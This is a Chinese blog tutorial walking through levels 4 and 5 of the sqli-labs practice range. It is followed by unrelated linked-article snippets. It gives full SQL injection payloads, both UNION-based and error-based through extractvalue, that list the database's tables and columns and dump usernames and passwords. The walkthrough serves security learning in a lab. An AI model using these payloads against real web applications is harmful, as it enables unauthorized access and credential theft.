【sqli靶场】第四关和第五关通关思路

news2024/12/25 9:35:26

目录

前言

一、sqli靶场第四关

1.1 判断注入类型

1.2 观察报错  

1.3 判断数据表中的列数

1.4 使用union联合查询

1.5 使用group_concat()函数

二、sqli靶场第五关

2.1 判断注入类型

2.2 使用extractvalue函数报错

2.3 爆出数据库中的表名

2.4 爆出users表中的列名

2.5 爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

 sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502

 sqli靶场第二关和第三关:

https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502


一、sqli靶场第四关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

初步判断为双引号闭合。

1.2 观察报错  

报错信息为'"1"") LIMIT 0,1' 

进一步判断为")闭合

输入?id=1") --+,正常回显。

1.3 判断数据表中的列数

输入?id=1") order by 3 --+,正常回显。

输入?id=1") order by 4 --+,显示超出。

用二分法与order by确定列数为3

1.4 使用union联合查询

输入?id=0") union select 1,2,3--+,判断回显位,页面如下:

输入?id=0") union select 1,2,database()--+爆出数据库名:

可以看到数据库名为security。

1.5 使用group_concat()函数

构造如下语句输入:

?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

可以看到表名为emails,referers,uagents,users。

点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。

二、sqli靶场第五关

2.1 判断注入类型

输入?id=1',出现如图所示报错('是英文单引号):

输入?id=1'',正常回显(''是两个英文单引号):

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为单引号闭合。

在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。

2.2 使用extractvalue函数报错

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。

concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。

结果如图:

我们能看到数据库名为security。

2.3 爆出数据库中的表名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())

结果如图:

我们能看到表名为emails,referers,uagents,users。

2.4 爆出users表中的列名

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+

结果如图:

我们能看到users表中的列名为id,username,password。

2.5 爆出users表中的数据

构造语句:

?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+

这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)

结果如图:

可以看到账号是Dumb,密码也是Dumb

我们可以将limit 0,1改为limit 1,1

结果如图:

可以看到账号是Angelina,密码是I-kill-you

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1304512.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

异地现场工控设备,如何实现远程配置、调试?

南京某企业专注于工业物联领域,在相关项目中往往会在各个点位部署基于Linux系统的中控主机,实现各类物联设备信息的采集、汇总。但是,由于各点位分散多地,且数量达到了上百个,虽然中控主机具备4G物联网接入能力&#x…

Java设计模式-单例(Singleton)设计模式的概述及实现

目录 🐶1 设计模式概述 🐶2 何为单例模式 🐶3 实现思路 🐶4 饿汉式实现代码 🐶5 懒汉式实现代码 🐶6 对比两种模式(特点、优缺点) 🐶7 单例模式的优点及应用场景 &…

系统提示:comres.dll丢失怎么办,comres.dll丢失的解决方法

comres.dll是Windows操作系统中一个非常重要的动态链接库文件,它负责提供一些重要的功能和资源。当这个文件丢失或损坏时,可能会导致一系列的问题和影响。本文将介绍comres.dll文件丢失对电脑的影响以及comres.dll丢失的原因,并提供5个解决方…

数据科学工作的20个Pandas函数(备忘)

Pandas 是数据科学社区中使用最广泛的库之一,它是一个强大的工具,可以进行数据操作、清理和分析。 本文将提供最常用的 Pandas 函数以及如何实际使用它们的样例。我们将涵盖从基本数据操作到高级数据分析技术的所有内容,到本文结束时&#xf…

Fnac、Darty跨境利用利用自养号测评补单提升销量和排名

Fnac是法国最有名字的零售商之一,成立于1954年,也是欧洲增长最快的平台之一,2016年,Fnac并购Darty,同时在自己的网站上添加了Darty板块,FnacDarty集团正式成立 国内的产品在Fnac,Darty平台上还…

使用shell脚本将一台虚拟机上面数据分发到其他虚拟机上面xsync

目录 1,功能2,注意点3,shell脚本介绍4,bash内容 1,功能 使用shell脚本将一台虚拟机上面数据分发到其他虚拟机上面。 2,注意点 需要修改的地方:hadoop250 hadoop251 hadoop252 hadoop253 hado…

【Redis】深入理解 Redis 常用数据类型源码及底层实现(1.结构与源码概述)

在文章【Redis】不卡壳的 Redis 学习之路:从十大数据类型开始入手中我们介绍了Redis常用的10大数据类型,这10大数据类型可并不是直接在底层通过代码实现的,而是通过不同的底层数据结构组合起来的,这篇我们介绍下Redis常用数据类型…

多域名和通配符SSL证书的区别

域名SSL证书和通配符SSL证书都是SSL数字证书中用一张证书保护多个域名站点的证书产品,这两种类型的SSL数字证书各自有各自的特色,今天就随SSL盾小编了解多域名SSL证书和通配符SSL证书的区别。 1.保护的域名类型不同:多域名SSL证书默认保护3-…

从视频中提取图片,轻松制作专属视频封面

你是否曾经为如何制作一个吸引人的视频封面而烦恼?现在,我们将向你展示如何从视频中提取图片,并轻松制作专属的视频封面。无论你是视频编辑新手,还是经验丰富的专业人士,这个技巧都能够帮助你快速提升你的视频品质。 …

外包干了3年,技术退步太明显了。。。。。

先说一下自己的情况,本科生生,18年通过校招进入武汉某软件公司,干了差不多3年的功能测试,今年国庆,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能…

4fiddler抓包工具的使用

一、定义 1.1 抓包的定义 说明:客户端向服务器发送请求以及服务器响应客户端的请求,都是以数据包来传递的。 抓包(packet capture):通过工具拦截客户端与服务器交互的数据包 1.2 fiddler的介绍 Fiddler是一个http协议调试代理工具&#…

黄油市场调研:预计2028年将达到717亿美元

黄油富含矿物质和维生素,奶油主要为脂肪和蛋白质组成,黄油主要用于涂抹面包和煎牛排等,随着西餐认可度提升,国内需求持续上行。黄油营养成分为乳制品之首,脂肪含量更高。 黄油主要用于涂抹面包和煎牛排等,随…

二叉树的所有路径

257. 二叉树的所有路径 - 力扣(LeetCode) 题目描述 给你一个二叉树的根节点 root ,按 任意顺序 ,返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 样例输入 示例 1: 输入:root […

以太坊:前世今生与未来

一、引言 以太坊,这个在区块链领域大放异彩的名字,似乎已经成为了去中心化应用(DApps)的代名词。从初期的萌芽到如今的繁荣发展,以太坊经历了一段曲折而精彩的旅程。让我们一起回顾一下以太坊的前世今生,以…

protobuf基础学习

部分内容出自:https://blog.csdn.net/baidu_32237719/article/details/99723353 proto文件来预先定义的消息格式。数据包是按照proto文件所定义的消息格式完成二进制码流的编码和解码。proto文件,简单地说,就是一个消息的协议文件&#xff0c…

【WinRAR】为什么右键没有压缩选项?

我们安装了WinRAR之后想要压缩文件,但是右键点击文件之后发现并没有WinRAR压缩选项,这应该如何设置才能出现右键带有压缩选项呢?方法如下: 首先打开WinRAR,在上面功能中点击选项 – 设置 然后我们在设置界面中切换到集…

Guardrails for Amazon Bedrock 基于具体使用案例与负责任 AI 政策实现定制式安全保障(预览版)

作为负责任的人工智能(AI)战略的一部分,您现在可以使用 Guardrails for Amazon Bedrock(预览版),实施专为您的用例和负责任的人工智能政策而定制的保障措施,以此促进用户与生成式人工智能应用程…

parser

"typescript-eslint/parser": "5.56.0", "vue-eslint-parser": "9.1.0", 代码来自ruoyi-plus vue-eslint-parser是一个专门用于解析Vue.js单文件组件(.vue文件)的ESLint插件。ESLint是一个用于检查和修复Java…

陪诊软件开发|北京陪诊系统功能介绍

随着互联网技术的不断发展,医疗行业也日新月异。在这个数字化时代,陪诊软件成为了重要的创新工具,为患者和医生提供了全新的医疗服务体验。本文将探讨陪诊软件开发的关键要点及其功能,为您揭示医疗行业的又一面向未来的重要突破口…

【Linux】线程的概念理解,从感知理解到全面深入

1.初始线程概念 在伟大的”计算机哲学“操作系统这本书中,一般给出线程的概念为:是在进程内部运行的一个执行分支(执行流),属于进程的一部分,粒度要比进程更加细腻和轻量化。大家对这一概念一看而过既可以…